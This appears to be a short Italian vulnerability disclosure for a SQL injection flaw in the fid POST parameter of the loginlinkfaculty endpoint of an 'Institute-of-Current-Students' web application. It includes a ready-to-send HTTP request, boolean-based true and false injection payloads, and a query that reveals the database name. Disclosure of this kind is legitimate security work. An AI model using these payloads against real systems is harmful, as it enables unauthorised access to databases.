
L'endpoint loginlinkfaculty nell'applicazione Institute-of-Current-Students è vulnerabile a SQL Injection tramite il parametro POST fid. Il parametro non viene adeguatamente sanitizzato prima di essere utilizzato in una query SQL, consentendo a un attaccante remoto di eseguire comandi SQL arbitrari.
/loginlinkfaculty (POST)fidicsnewhttp POST /Institute-of-Current-Students/loginlinkfaculty HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded
fid=-1'+OR+321=6+AND+000942=000942--&pass=example
✅ -1' OR 3*2*1=6 AND 000942=000942 -- → VERO
❌ -1' OR 2*3=4 AND 000942=000942 -- → FALSO
SELECT database(); -- restituisce 'icsnew'
Isroil Mustafoqulov